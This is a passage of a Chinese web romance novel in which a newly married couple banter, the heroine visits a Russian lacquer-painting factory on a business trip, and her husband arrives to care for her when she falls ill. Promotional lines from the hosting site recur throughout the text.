他嗓音拖腔带调:“那我就不知道了呢,可能
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
他记错了吧。”
容微月呆住:“那为什么你在纸条上写什么要照顾好呼呼还留给我那么多东西……”
傅蔺征笑“这祖宗本来最近就要去打疫苗只有你一个人陪着我不得和你说清楚点?”
容微月懵了几秒后反应过来。
她这是被套路了???
她脸颊酡红嗔他:“傅蔺征你怎么这么有心机……”
以为他要走了谁知道还来个以退为进!
男人把她困在吧台前垂眼低低看她唇角弧度格拽痞肆意:“怎么办后悔了啊?后悔也来不及了。”
结婚证已经拿到手了。
她羞恼傅蔺征不再逗她正儿八经道:“之前是没定好这次去日本要待多久可以下周回来也可以多待一段时间怕你不想看到我到时候不自在又打算搬走所以我就先走了。”
他宁愿自己离开
她心间柔软抬眼看他:“我没有不想看到你的……”
他低笑“我现在当然知道。”
给她倒了杯水傅蔺征揶揄:“所以以为我要去国外好几个月怎么还敢和我提结婚?就不怕我一结婚就走了?”
她咬唇“那……那你又不是不回来了。”
当时她都没想那么多就是想挽留他。
傅蔺征压平唇角弧度“放心我没有婚后分居的习惯。”
哪怕就是**本中国来回飞他也不可能把小姑娘独自留在这里。
容微月问:“那你这次去什么时候回来?”
“大概下周末。”
她点头傅蔺征提议:“等我回来我们双方父母见个面?今天太匆忙了。”
本来应该是傅家先上门去提亲把该谈的事情和该尽的礼数做到位但现在什么都还没来得及准备。
容微月闻言脸色微变轻声道:“可以再等一段时间吗?我爸妈还在国外旅游倒时候他们回来我想先带你去见见他们现在你先别告诉你爸妈……”
傅蔺征看到她表情的异样疑惑她父母不是催婚?结婚不是好事怎么还不能现在说?
他察觉到什么也不逼她:“好。”
“还有结婚的事也先暂时不公开好吗?”
傅蔺征脸黑“为什么。”
“我就只和殷绿说了主要是我和《霜雪吟》的合作还在我怕会有些流言。”这关系确实很微妙这样对他们双方都不好至少也得等合作先结束了。
傅蔺征对上她澄澈轻弯的杏眸心头被羽毛扫过没了脾气:“行听你的呗。”
他恨不得昭告天下但是对于她事业来说确实不宜操之过急他要把所有的事情安排
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
好。
他拿出钱夹抽出张里头的**给她:“你先用想买什么都要花我的钱没额度限制密码你生日。”
“不用我自己有钱……”
傅蔺征轻嗤:“我们结婚了这都是夫妻共同财产早花晚花不都是你的?你再跟我假客气下?”
“……”
她轻抿红唇乖乖接过。
最后他的确要去机场了容微月送他去玄关傅蔺征换好鞋她看向他:“拜拜路上慢点……”
她话音落下就被他拽到面前。
空气里青橘和薄荷气息交织。
馥郁勾缠暗流涌动。
她心口一乱傅蔺征低睫对上目光低沉嗓音塌陷在她耳畔气息洒落:
“好好吃饭早点睡觉照顾好自己听到了么。”
“要生病了你看我回来怎么收拾你。”
容微月闻言脑中莫名冒出刚刚殷绿的那些话耳根发烫。
现在结婚了好像收拾的方式有很多……
容微月耳根烧红轻轻应了声近在咫尺间傅蔺征直直的目光落在她红唇上喉结滚动忽而耳边就传来一声汪汪叫。
低头一看呼呼咬了口他的裤脚而后趴在容微月脚边朝他戒备眨着眸子。
傅蔺征气笑:“赶我走是吧?”
呼呼摇着尾巴傲娇看他傅蔺征轻嗤:“我把你带走信不信?”
还想一个人在家霸占他老婆?
容微月浅笑赶紧把呼呼抱起来“不行呼呼是我的你赶紧走吧。”
“……”
傅蔺征气笑挑唇捏了捏她的脸“等着。”
末了小姑娘抱着狗狗送别了他傅蔺征离开后她回到卧室在床上滚了滚压了压脸上的红晕
好久好久没有这么开心了。
结婚真好大好特好。
呼呼蹭着她的手欢快地摇着尾巴仿佛也感受到她的快乐。
陪呼呼玩了会儿随后容微月去洗了个澡。
回到床上她看了会儿红本本把它珍视般放在床头去补了个觉。
时间过得很快。
下一次睁眼时窗外天色落幕。
竟然睡了一天她昏昏沉沉的脑中浮现和傅蔺征领证的画面一瞬间以为是梦慌得立刻扫向床头看到了结婚证才松了口气。
不是梦是真的……
她揉了揉眼睛坐起来拿起手机看到三个小时前傅蔺征拍来的机场照片:【到铃鹿了。】
像是在和她落地报平安一样。
她心尖荡漾还有点不适应新的身份纠结来纠结去只敲
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
第 32 章 “想要宝宝了?”
第32章第三十二章
【“想要宝宝了?”】
chapter32
“……”傅蔺征气笑了。
不是他有老婆的事有这么难以置信???
他轻嗤了声懒得把照片发给他们。
算了这群未婚的懂什么“有老婆”的含金量一个个羡慕嫉妒去吧。
第二天群里另外三人起来私底下建了个小群湖安还很懵:【阿征昨晚受什么刺激了??精神状态堪忧啊。】
付则承:【根据分析他那应该是典型的“情绪性激动型轻躁狂发作”长期情感压抑夜间多巴胺激增失眠多梦表现为语速增快、举止夸张、自我感觉良好以及有强烈表达欲建议48小时内严密观察必要时住院留观。】
湖安:【……???】
湖安:【@夏斯礼他最近到底咋了?和微月之间出事了?】
夏斯礼:【唉他最近受了很严重的情伤五内如焚寸断肝肠说多了都是泪啊。yùε戈】
最后夏斯礼作为代表怀着沉痛的心给傅蔺征打去电话慰问:“阿征我知道你最近因为微月相亲的心情不好深夜情绪上头出现臆想也是正常的咱就放过自己吧!看你这样作兄弟的心、如、刀、绞啊!”
那头刚出门准备去训练的傅蔺征嗤笑:
“看个屁老子真结婚了。”
“是是是你是不是要说你和微月结婚了?”
傅蔺征压平唇角弧度“昂你怎么知道而且还是她和我提的。”
电话那头顿了三秒夏斯礼叹了口气心疼道:“阿征咱实在不行及时就医吧我让付则承给你找个好的心理医生乖啊咱不耽误了啊再这样下去你会疯的。”
“……”
傅蔺征骂了声直接把人拉入黑名单。
呵呵一群吃不到葡萄就说没葡萄的人。
他去训练另一头的京市容微月也在工作室开了一个早晨的会。
这几天她定下来了和俄罗斯漆画厂的合作细节计划下周出发去实地考察。
忙了一整天晚上回到家她突然想到一事——
下周他们俩都不在了呼呼怎么办?
今天傅蔺征早晨说了句要训练中午吃饭的时候和她说了声下午开会和晚上应酬也给她发了信息就跟报备一样还道:【饭桌上没有女的吃完饭就回酒店不和他们去唱歌。】
……好像生怕她多想似的。
他向来这么守男德。
她脸红应了声说了句让他少喝点酒。
她昨晚也没睡好
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
关系今天也不知道该找他主动说什么。
她其实也不知道傅蔺征现在是怎么想的和她结婚他好像挺淡定的会不会之前的事他心里还有疙瘩当初分手的原因她也一直没有鼓起勇气告诉他。
一直以来是他对她患得患失更多。
但是现在他们结婚了她想主动靠近他不能老是他付出。
回到卧室她给傅蔺征发信息:【你忙完了吗?】
那头没回信息容微月先去洗了个澡呼呼也跑了进来刚抱着它躺到床上手机就响了起来。
是傅蔺征回拨过来。
她心跳怦怦接起“傅蔺征……”
男人低沉的声音传来:“嗯刚刚吃完饭我去了趟车场拿了个文件没看到你电话现在才回酒店。”
没接到电话他都要认真解释一番不让她多想。
容微月弯眉翻了个身“没关系……”
她还要说什么谁知道不小心碰到了挂断键她立刻拨回去可误选成了视频通话。
刚要挂掉可那头立刻接起了。
镜头里傅蔺征剑眉星目的面容出现棱角冷拓穿着冲锋衣领口的古巴链明显慵懒坐在沙发上。
他勾起唇角道:“容微月你这么想我啊?听我声音不够还非得打视频?”
“……”
这人怎么能这么臭屁“我没想看你我挂了。”
他沉声立刻传来:“不许挂。”
她眨着眼静静看他傅蔺征看着镜头里面容可爱温软的她低声承认:“是我想看你了。”
她压下唇角。
她现在还治不了他了。
容微月把话题拐回正题说了下周出差的事“我们都不在家的话那呼呼怎么办?”
“没事我联系宠物店上门先接走这家伙先寄养在店里。”
一旁的呼呼郁闷地把脑袋搭在容微月手上。
傅蔺征问她往返时间她说周一走周四回来随后他操作了番而后道:“给你订好了头等舱到时候落地会有人专门接待你酒店那些都不用操心我都会给你安排好。”
容微月没想到这人行动力这么强:“没关系我自己可以安排的你不用这么麻烦……”
傅蔺征扯起唇角突然问了句:“昨天领的结婚证在手边吧?”
“啊?在啊怎么了……”
“拿过来翻开看看上面写着女方谁?”
她脸红老实把床头的结婚证拿过来小声念道:“容微月。”
“再看看男方谁?”
她脸更红:“……傅蔺征。”
傅蔺征语调懒拽:“平时没事呢就多翻开结婚证温**温**
听说看这本书的人都是很幸运的,分享后你的运气会更棒
你是我老婆我为你做任何事情能叫麻烦?”
难道不是天经地义?
容微月闻言耳根酥麻心头溅出春水漾漾浅浅弯起唇角。
好吧现在他们结婚了他对她好她好像也没任何理由拒绝……
接下来的几天傅蔺征把一切都安排好了第二周一早容微月便带着团队飞往俄罗斯喀山。
这次和她一起去的有助理舒槿工作室资历最老的设计师吕丹。
到喀山机场时已是下午飞机落地容微月走了下来一身藏蓝色的羊毛毛呢大衣围着格纹围巾踩着暖靴气质柔静如雪。
走到接机口来接机的是个年轻的亚裔男子是明恒俄罗斯分部的人:“容小姐我姓张叫我小张就行傅总都交代我了这几天我全程陪同有什么需求您尽管吩咐。”
“谢谢辛苦了。”
小张憨笑接过她行李:“您客气傅总可是说了让我必须招待好您我们先上车这里去漆画厂要一个小时。”
往外走吕丹和舒槿好奇凑到容微月两边:“微月姐这个傅总是谁啊?这么贴心?!”
舒槿脑中一转:“我记起来了是不是明恒集团那个小傅总啊?!之前提案会上他还为你撑腰超级超级帅!我还特意查过资料他还是赛车手呢!”
吕丹立刻也去查看到傅蔺征在百度百科上的履历成就也惊掉下巴“顶级富二代加世界冠军
容微月脸红没否认“你俩别往外说啊。”
两人表示一定守口如瓶出了机场上了包车上还有个俄语翻译这几天也陪同他们。
车子一路向西开往维斯亚日斯克小镇十一月的俄罗斯已进入深冬铅灰色的天空盖在头顶天凝地闭道路两侧的白桦树凋零覆雪车子路过的老城区里有许多历史建筑安静矗立在冬日中。
整个世界仿佛蒙上了一层灰白色的薄纱。
大家一路聊一路看小张也给她们介绍着一个小时后车子驶到小镇的老工业区漆画厂位于一片森林边缘。
下了车漆画厂的老板娜佳和几个工作人员已经等在门口热情迎接。
容微月刚踏下车寒风夹雪扑面而来这里比想象中还冷她拢紧外套娜佳和她握手笑笑用俄语道:“好久不见终于等到你们了。”
容微月弯起唇畔问好娜佳邀请他们往里走推开工厂大门的铁栏杆里头是个大院和两个低矮的建筑厂房的砖红色外墙被风雪侵蚀已然龟裂斑驳院子里推着废弃的木料和生锈铁桶昔日辉煌
你的朋友正在书荒,快去帮帮他吧
的老牌工厂到处都写着随时倒闭的萧条。
这可比他们的工作环境差多了。
走进室内工作间,空气中弥漫着油漆和冷铁的味道,十几个工匠坐在桌前作画,有人抬头看了眼容微月她们,感觉都**以为常不抱希望,又低头专注自己的活。
娜佳说这厂子固定工匠只有二十来号人,平时会有人来打零工,如今厂子效应不好,有好多人离职了,能留下来的都不容易。
现在他们主要负责做些漆画首饰盒和摆件,靠政府的补贴和旅游商品订单勉强维持运转,都不知道未来的路在哪里。
容微月心生怜意,往里走就看到一个年过七十的老奶奶画师正在画画。
她佝偻瘦弱的身上披了件破旧的羊毛毯,手被冻得发紫,却还在认真地描摹一个首饰盒。
再低头一看,老奶奶竟然只有一条腿。
娜佳道:“她年轻时候被表彰为金质匠人,后来家里出了意外,她左腿截肢,丈夫儿子都**,只留下一个三岁的小孙女,在我们厂干了四十年。”
老奶奶抬头,朝容微月弯起慈祥淡笑,容微月怔怔看着,瞬间想起了祖母,鼻尖发酸。
曾经祖母也是一个人在车间掐着花丝,小微月懵懂地陪她,祖母总是笑着摸摸她的头,对她说:“月月,你记得做什么事要耐得住寂寞,以技载艺,以艺品德,要永远坚守住你手上的工。”
在这位老奶奶身上,她看到了这句话的完美诠释。
逛了一圈厂子下来,舒槿和吕丹心酸又动容,他们的饰品都很好,但就是没市场。
一行人走去办公室聊设计,过了会儿门被推开,一个五十出头的大叔走进来,高鼻梁深眼窝,戴着个黑框眼镜,神色冷漠严肃。
男人名叫叶夫根尼,是娜佳的舅舅,也是厂子的首席设计师,他看着容微月交来的初步设计方案,说着俄语的嗓音低哑沉重:“你的设计很漂亮时尚,但我们是传统工艺,在这里没有市场,我们没有机会试错了。”
叶夫根尼一直都不支持娜佳和花丝镶嵌搞什么联名设计,从前他们就没有这样操作过,制作新品他们还要投入大量的资金,万一这次失败厂子就彻底倒了,还不如苟活下去,再去外面多接接单。
娜佳皱眉:“舅舅,我们现在接的单根本不够还债,保持现状处境也没好转,如果再不改变,厂子就真的没有未来了。”
“可失败你考虑过后果吗?我们还欠了银行一大笔钱,”叶夫根尼看向容微月,情绪激动,“他们能对我们负责吗?”
舒槿欲怼过去,容微月拉住她的手,温声开口:“叶夫根尼先生,我理解您的担忧,这对我们来说都是一次尝试
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我们才需要找准定位让中俄市场的消费者都能被我们的饰品吸引。”
容微月示意舒槿拿出一个首饰盒里头是一套去年他们和某个少数民族文旅部门合作设计的饰品将传统和现代结合“这个饰品当时也有人不看好但是上市三个月直接售罄两轮全网都火了还被当地的博物馆收藏。”
叶夫根尼接过看着被肉眼可见的中国的花丝镶嵌工艺吸引
容微月表示这次合作可以分阶段推进市场好再扩大尽量减少风险:“漆画的浓烈和花丝的细腻并不矛盾完美结合一定会焕发出新的生命力您放心真正的艺术不会因为走向时尚而失去美感而且这是帮助传统的工艺得以更好地延续。”
吕丹也阐述起设计思路听完叶夫根尼沉默良久问娜佳是不是真的很想试试娜佳点点头他最后松了口:“既然你执意……那我们就试试看吧。”
如今他们也没有别的出路了。
大家都很高兴舒槿莞尔:“我们精诚合作结果一定不会差的。”
聊完大概方向晚上娜佳请他们在厂子附近的一家餐馆吃饭聊工艺聊创业聊生活交谈间叶夫根尼脸上慢慢多了笑容。
一开始叶夫根尼不相信容微月他们但在交流间他被容微月的温柔和真诚打动:“我们厂也和别人合作过但大多老板都傲慢固执看不起我们的工艺容小姐我相信你们设计出来的东西一定是温暖人心的。”
容微月笑:“谢谢您的信任我们一起努力为了我们的工厂能够走得更远被更多人认识。”
饭后容微月一行人回到市区。
傅蔺征给他们安排的是当地最好的酒店为保安全三个女孩子住在一个大套房里晚上容微月洗完澡去整理画稿一不小心弄到凌晨加上白天又受了凉第二天醒来她就感觉脑袋昏昏沉沉喉咙发痒。
她顿觉不妙赶紧吃了感冒药可是她身体底子太虚第二天舟车劳顿她不舒服的症状就不可逆转的愈发明显了。
完了完了完了感冒了QAQ……
晚上傅蔺征打来电话她想到他之前出门前的嘱咐赶紧心虚挂断发去信息说身边有人主要是不想让他听出她的鼻音。
傅蔺征没多想问她工作进展如何衣服带的够不够多她心虚地都说没问题。
她转移话题:【你什么时候回京市呀?】
傅蔺征:【周六下午想我了?】
容微月羞赧心头不由自主勾起千丝万缕情意。
快两周没有看到他了。
回到京市还要再等两天才能
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见面……
从前他出差她也没觉得那么度日如年,如今怎么感觉结婚后,她就比之前更加想他呢。
她想起从前高中时,傅蔺征也时常会去国外比赛,她不太会说情话,第一次撒娇会说想他,是在他去出国比赛的半个月后。
那是寒假的除夕前夜,一群同学们出来滑雪唱歌,傅蔺征回来了,顿时引起大家热烈欢迎,容微月看到他身边都是同学,也没过去,就坐在远处。
谁知过了会儿大家要去吃夜宵,她正下楼,却被傅蔺征拽住,带去了天台。
无人的天台一片漆黑,傅蔺征没给她说话的机会,扣住她的手腕,把她抵在栏杆前亲。
他气息又热又烫,将她如奶油般融化,手机震动,他全都挂了,重新搂住她腰肢,咬着她红唇,浑坏逗问:“想不想我?
朋友们都走出了楼下,可只要一抬头,就能看到傅蔺征压着她接吻的画面,容微月耳根如同滴血,羞得缩在他怀中,“唔……想……
他笑得坏得要命,“听不见,不说清楚就继续。
她咬了口他的喉结,声音很轻地撒娇:“我……我想你。
很快天台上空骤然炸开烟花。
烟花五彩斑斓落下,点亮视野,她呆住,傅蔺征吻了下她耳垂,勾起唇角,声音低柔:
“新年快乐,月月,我也想你。
此刻容微月翻了个身,想到那段回忆,心河还是荡漾,但是故意不回他。
一晚上过去,第三天她的感冒症状愈发加重,她难过祈祷感冒在周六之前一定要好。
这天白天她们去了漆画厂,双方定完了全部的合作方向和饰品草图,傍晚容微月她们回到市中心吃饭,舒槿和吕丹说明天就回去了,想去去巴乌曼步行街转转,容微月身体疲惫但不想扫兴,就一起去了。
三人逛了会儿,她觉得冷,便去一家街角的咖啡馆坐着等她们。
点了杯热红茶,她喝着驱散身体寒意,靠着沙发昏昏欲睡间,忽而桌面的手机震动。
“傅蔺征三个字显示在屏幕上。
她嗓音都快哑了,不敢接起只能装死,然而那头坚持不懈打来,发来信息:
【几个意思,老不接电话?】
他知道她今晚早就没工作了。
完了完了……
怕他更怀疑,容微月清了清嗓子,强撑着身子接起:“喂……
那头传来傅蔺征声音:“怎么不接电话?
“我刚刚没看到……
“嗯,你现在在哪儿?
她把手机拿远,捂嘴打了个喷嚏,又贴在耳边,闷声咕哝:“我在咖啡厅坐着,今晚她们说来逛个步
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
行街。”
下一刻傅蔺征幽幽嗓音传来:
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“怎么听你有点鼻音感冒了?”
“……”
这人什么耳朵?!
她心头一惊捏着纸巾揉揉鼻子笑笑:“……没有可能我有点困了我身体可好呢咖啡厅里特别暖和我不可能感冒的不可能的。”
她心虚地多遍强调那头轻笑了声:
“是么?”
傅蔺征掺了冷意的嗓音穿过电流清晰传在她耳边:“那你鼻子眼睛怎么红得跟兔子似的?出来玩就穿了一件薄薄的毛呢大衣?你这样能抗冻?”
容微月搅拌着热茶的手猛地顿住。
他能看得到她?!
她飞快扫了圈咖啡厅没看到人转头透过玻璃橱窗往对面街道看去——
男人一身长款深灰色大衣果然站在对街身型高大挺阔黑色短靴疏漫踩地灰色围巾搭在颈间肩头落了点点雪花。
步行街两侧的复古建筑在暖黄路灯亮起傅蔺征一手插在大衣兜里一手拿着手机正看向她这个方向眉梢吊起带着抓包她的散漫懒意。
周围人来来往往只有他停留在她眼前。
??
这人不是应该还在日本吗?!
怔愣间容微月脑中炸开烟花。
白雪纷飞中她看到傅蔺征抬步走来而后推开咖啡厅的门她站起身懵懵看他“傅蔺征你怎么来了……”
男人走近高大的身影笼罩下来看向她抬手轻捏她的脸:
“我要不来亲自看看怎么知道你敢骗人?”
“容微月你胆子大了还故意不接我电话装没生病?”
唔……
容微月心虚脸热他看她苍白的小脸和通红的鼻尖拧眉摸她额头低声落在她耳边:“我走之前怎么说来着又感冒了我回来会怎样?”
她脸上像是火柴擦过咳嗽着温吞狡辩:“那我也没想到这里这么冷我衣服已经穿很多了……”
“看病了么?”
“没有
他轻嗤:“你什么时候想对过?自己都有点了低烧不知道?”
她懵然眨眼难怪感觉脑袋有点疼傅蔺征攥住她的手“走了去看病。”
走出室内外头寒风凛冽他把自己的围巾摘下来给她一圈圈裹上“冷不冷?”
容微月摇摇头白皙脸颊埋进他围巾里鼻息都是令人心安的竹叶薄荷气息。
两人往前走容微月视线落向他暴露在外的手她手动了动也偷偷从大衣拿出来。
好几天没见又有了新的关系莫名得让人熟悉又陌生。
她心如擂鼓指尖悄然轻动。
犹
听说看这本书的人都是很幸运的,分享后你的运气会更棒
豫又缩回来回几次第三次她鼓起勇气即将触碰到可下一秒男人的手掌牢牢反握住她的手。
他掌心宽大温热将她的手整个覆盖住瞬间镀来暖到心口的热度。
她心脏漏跳一拍头顶就落下傅蔺征懒洋洋的嗓音:“容微月你怂什么想占老子便宜呢就直接来现在都有法律保护了我还能反抗不成?”
容微月脸热咕哝:“明明是你……”
“我向来占便宜都大大方的什么时候怂过?”
“……”
她温声嗫嚅:“你那是……厚脸皮。”
他轻嗤指尖挠她掌心:“我要**脸皮能追到你?说不定你现在和别人娃都有了。”
容微月酒窝点起:“是啊说不定都有二胎了呢。”
傅蔺征把她扯过来嗓音低撩:
“怎么你很想要宝宝了?”
她脸颊烧起红晕不敢想象那过程压下唇角“我乱说的……”
他轻笑压下眼底的火。
傅蔺征把她牵得更紧踩在薄雪初积的人行道上容微月呼吸吐出白雾步行街两侧的橘黄灯光被风吹得朦胧一片周围来往匆匆却仿佛只剩下他们不断延伸向前的鞋印。
她不禁抬头看向傅蔺征呼啸寒风中
谁曾想分手六年后的一天傅蔺征会以她丈夫的身份牵着她走在异国他乡的风雪夜中。
好像前方不管遇到什么他永远都能替她挡住寒冷是她坚定不移的避风港。
走到路边一辆黑色超跑停靠着线条方正的车身落了雪帅气冷冽傅蔺征有国际驾照在世界各地都有车。
上去后傅蔺征启动车子打开暖气给她盖好毯子去往最近的医院。
容微月给舒槿打了电话说去看病让她们等会儿直接坐小张的车回去舒槿担忧:“姐你怎么一个人去看病不叫我们?你在哪儿我们陪你去。”
“没事有人陪着我。”
“啊?谁啊?”
容微月看了眼傅蔺征捂嘴小声道:“我男朋友他来找我了。”
舒槿:!!!
舒槿了然让她好好看病挂了电话身旁传来慢条斯理的男声:“男朋友?”
“……”
这人怎么听到的?
傅蔺征转头看她修长指尖轻敲方向盘唇角弧度若有若无:“容微月麻烦你解释一下老子提前忙完公事从日本飞了七个小时过来一来就带你看病怎么得到法律认可的身份还被你拿掉了啊?”
“……”
容微月窘然摩挲手机:“没有那我们不是事先说先不
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
对外公开吗,我还没告诉她们我结婚了,就……就只能先说是男朋友……
她感觉到他有点不爽,软声哄道:“以后我肯定会告诉他们的。
男人单手搭在方向盘上,扯唇,“行呗,好歹没说是室友,你还算没有完全丧了良心。
“……
十五分钟后到了医院,傅蔺征先去给她去挂号,他手撑着台面,俯身透过窗口和护士对话着,一口流利标准的俄语,混着他如大提琴般的嗓音,富有磁性。
容微月诧异:“你还会说俄语?
他接过挂号单带她往里走,淡淡道:“之前学过点。
一出生被当成明恒的继承人培养,他在背后要付出的努力是外人无法想象的,从小储备多国语言是最基本的技能,而且身为赛车手,经常要满世界跑。
进到诊室,医生看过后说她因为受凉导致上呼吸道感染,加上这几天舟车劳顿太过疲惫,为保病情不会继续加重,要打个针,傅蔺征应下。
容微月一脸茫然地听俩人征叽里咕噜对话完,走出诊室,才得知自己被安排扎了一针:
“啊?不能只吃药吗TvT……
“你这病拖了几天了?你还想从低烧变成高烧?
见她小脸被吓白,一副生无可恋的样子,傅蔺征无奈轻笑:“长这么大了还怕打针?
她从小就怕,之前高中她生病,傅蔺征带她去也打过一次针,都怕得快哭了。
她委屈巴巴扑闪眼睛看向他,求他心软,傅蔺征要被她可爱**,偏眼压下唇角,扣住她后颈往前走,“怕也没办法,谁让你生病了?让我管你就是这样。
这人也太冷血了……
到了输液室,容微月坐下来忐忑等候,叫到她后,她坐到桌前,心脏扑通扑通乱跳,认命般撩起衣袖。
因为注射剂量不大,所以可以打手臂。
棉签蘸着酒精在她皮肤上绕圈,熟悉的冰凉触感让她后背立刻冒出一层冷汗。
傅蔺征站在她身侧,抬手盖在她眼睛,挡住视线,低沉嗓音落下:
“别看,几秒钟就好了。
她葱白指尖揪住他大衣,傅蔺征看着她湿漉漉的小兔红眼,唇角轻勾,从口袋里拿出颗软糖,撕开送到她嘴里:“尝尝葡萄味的,我刚下机场买的,好吃么?
她咬破糖果,很快手臂轻微刺痛传来,她眉间一皱,轻声道:“好吃,但是这是橘子味。
他笑了笑,又撕了颗糖喂到她嘴边:“这样啊,拿错了,这颗是不是?
“嗯,还挺好吃的……
而后护士就说打好了,她松了口气,看到旁边座位一个被母亲抱着的小女孩也在打针,抱着个兔子玩偶,
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
第 33 章 “不热么?都流汗了。”...
第33章第三十三章
【“不热么?都流汗了。”】
chapter33
近在咫尺间,男人磁沉的嗓音落在她耳畔,在夜色中擦出火,侵略感毫不遮掩逼近。
容微月闻言呆住,细睫轻颤,双眸氤氲上湿漉漉的水汽,心河摇晃。
照顾她……他说的是哪种照顾呀……
傅蔺征看到她软乎乎的脸颊爬上红晕,跟只小兔子似的,勾起唇角,抬手指腹在她脸捏了捏,嗓音低浑散漫:“发什么呆?还不进去收拾?”
容微月红唇翕动,“哦。”
他们现在结婚了,同床共枕当然很正常。
而且……其实她也想和他待在一起。
容微月刷开房门进去,里头正在吃宵夜的舒槿和吕丹看到她诧异,“姐,你怎么回来了?我们以为你今晚和傅总走了呢。”
“他在等我,我就进来拿点东西。”
俩人了然笑笑,表示都懂。
明天再回来收拾行李,容微月只简单拿了护肤品和换洗的衣物,走出房间,就看到站在远处电梯口的傅蔺征。
男人靠墙而立,个子极高,长腿一直一曲慵懒搭在地上,头身比优越,正垂头看手机,窄腰折出的劲瘦弧度,额前黑发下侧脸轮廓锋利,模样又冷又欲。
她正走过去,长廊另一头,一个身材火辣的外国女人也注意到傅蔺征,扭腰朝他走来,笑意妩媚,用英文轻佻搭讪:
“帅哥,这么晚还一个人啊?会不会很寂寞?要不要陪我喝一杯,别浪费这迷人的夜晚。”
容微月被这直球震惊到了,有点不知道该作何反应,呆在原地。
可下一秒傅蔺征抬起头,目光越过外国女人,直直落在她身上,走过来搂住她,语调亲昵中透着冷淡:
“不好意思啊,我只和我太太喝酒。”
……这么帅却是个有主的。
外国女人见此讪讪离开,容微月第一次听到傅蔺征这么称呼她,耳尖悄悄爬上绯红。
旁人走后,傅蔺征疏懒嗓音落下:“容微月,你反省下自己。”
“……啊??”
他轻嗤:“你见过哪个做老婆的,看到老公被人搭讪骚扰,还傻愣地站在远处观赏?还不赶紧过来行使权利宣誓下**?”
她耳根又热了一个度,没想到他是希望她过去,正儿八经问:“我没什么经验,该怎么……宣誓**?”
傅蔺征扬起眉:“就像我刚刚那样呗,过来搂着我,当然了,你要是说不出话来呢,就扑过来亲我一口,也不是不行。”
“?”
那她还是在原地看好了。
傅蔺征拉着她走去电梯,容微月想到之前,
听说看这本书的人都是很幸运的,分享后你的运气会更棒
故作随意道:“不过我确实经常看到你被搭讪。”
“嗯?”
“就那晚校庆的同学聚会在包厢外我看到还有女的找你。”
傅蔺征闻言挑唇俯身看她:“容微月前两周之前的事你憋到现在才问我啊?”
她淡定偏开眼“没有我就是刚好记起来。”
傅蔺征回忆了下解释道:“是其他班的来找我要微信不过我那天心情很差理都没理而且当时我出来包厢是打算带某个小酒鬼回家的你说那个小酒鬼是谁?”
小酒鬼本人:“……”
容微月心虚没吭声傅蔺征揶揄:“看不出来背地里爱吃醋表面还挺爱装淡定。”
容微月温淡言:“当然我就算吃醋也不会发疯去强吻人的。”
“……”
傅蔺征气笑黑眸直勾勾看她:“老子现在要吃醋还需要强吻?证都领了做什么都合理合法。”
她耳根发热蔓延到脖颈。
电梯门打开容微月赶紧钻出去走到房间门口傅蔺征刷开房门插卡让她进去。
房间是个带壁炉的复古套房橘黄灯光洒落在大床上落地窗外夜色静谧漫天雪花坠下远处的白桦树林被白絮覆盖宛若浪漫的童话世界。
容微月被景色美到走到窗边看着而后听到关门声她转头看到傅蔺征开了暖气走进来视线落向她。
空间封闭暧昧横生。
容微月呼吸轻轻放慢转头故作自然正看着雪景却见傅蔺征过来拉上了窗帘。
她懵然傅蔺征淡然反问:
“不拉窗帘怎么睡觉?”
男人说完青色脉络鼓动的手拨弄大衣纽扣脱了下来里头的深色高领毛衣和黑西裤衬出笔挺硬朗的身材他手臂几乎快比她的腿还粗紧绷鼓动。
西装革履却压不住他身上的痞拽张力成熟男人的荷尔蒙魅力爆棚。
他站在面前像一堵墙一样。
从前把她压着捣时她根本动弹不得。
高中毕业时她胆子大是因为他们已经是情侣而现在他们是突飞猛进到结婚的关系一切还没来得及适应。
容微月闻言眼神飘忽声音轻得像是被风吹散的蒲公英**絮:“这、这么快吗……”
傅蔺征勾唇声音压低:“不然呢?你还不赶紧上床?”
没想到这人这么直接
“再什么?”
他走近她把她困在落地窗前嗓音低撩过她耳畔:“再做么?”
她眼睫猛地一颤。
发烧可以做吗QAQ她会不
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
会晕过去呀……
傅蔺征看她一副真在纠结的模样,心底起燥,又忍不住提起唇角,低头看她:
“容微月,我的意思是你发烧了,要赶紧上床去休息,你到底在想什么,嗯?”
“……”
他轻笑,“果然,我就说某些人心思不纯,对我觊觎已久,一结婚这么快就想占有我了。”
“???”
不是,明明是他故意的……
意识到被逗了,容微月羞恼得把脸颊埋进围巾里,推开他去拿衣服,“我去洗澡了。”
傅蔺征勾唇:“刚刚不是说一起洗?”
“……”她才不和他一起呢!
容微月拎着换洗衣物去盥洗室,砰得一下关上门。
就没见过这么浑的人。
果然结婚了就越来越过分了……
发烧了不能洗澡,容微月洗漱下,擦了擦身子,而后穿上单薄的睡裙,又披上外套,忽而想到什么,旋即把外套扯了下来,直接走了出去。
外头,傅蔺征正在烧水,打算给人泡药,转头她就映入眼帘——
容微月穿着一件白色吊带睡裙,薄如蝉翼,如春雪凝脂,锁骨红痣若隐若现,裙摆只到腿根,两条腿又白又长,像白瓷一般。
她的脸还沾染水汽,双眸盈柔如雾,那萸被盈盈一握的腰线反衬到极致。
是比六年前更加令人血沸的身材。
她怎么能够做到又瘦又能……
水壶沸腾作响。
傅蔺征黑眸瞬间暗下,心底烈火烧起。
容微月却像没注意到他的眼神,径直走过来,到他身边先喝了点矿泉水,而后去拿手机,又来他身边悠闲地找充电线。
她顶着在他眼里几乎是透明的睡裙,在他旁边走来走去,所到之处的空气弥漫着清甜的青橘香,仿佛将空气温度也升高。
傅蔺征舌尖抵了抵上颚,沉沉吐了口气,走去拿了件外套,丢给她:“披上。”
她仰眸看他,无辜问:“干嘛?”
傅蔺征偏开眼,嗓音压得厉害:“发烧了穿这么少?不怕着凉?”
“房间里暖气很热,我不冷。”
她朝他走近,眼波流转,淡笑:“怎么,还是某些人对我觊觎已久,心思不纯,看到我这么穿就浮想联翩了?”
她学他的语气,以其人之道还治其人之身,谁知下一刻就被傅蔺征单手抱了起来,她吓得双腿勾住他的腰,心脏重重一跳,脸红,“傅蔺征……”
